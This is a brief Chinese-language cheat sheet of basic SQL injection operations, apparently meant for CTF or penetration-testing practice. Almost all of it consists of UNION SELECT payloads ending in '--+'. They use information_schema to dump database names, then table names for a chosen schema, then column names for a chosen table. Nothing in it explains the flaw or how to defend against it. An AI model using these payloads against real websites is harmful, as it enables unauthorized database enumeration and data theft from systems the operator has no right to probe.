sql注入基本操作

id后的符号视情况而定

爆数据库

 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

爆数据表

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=' '--+

爆数据表的列

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' '--+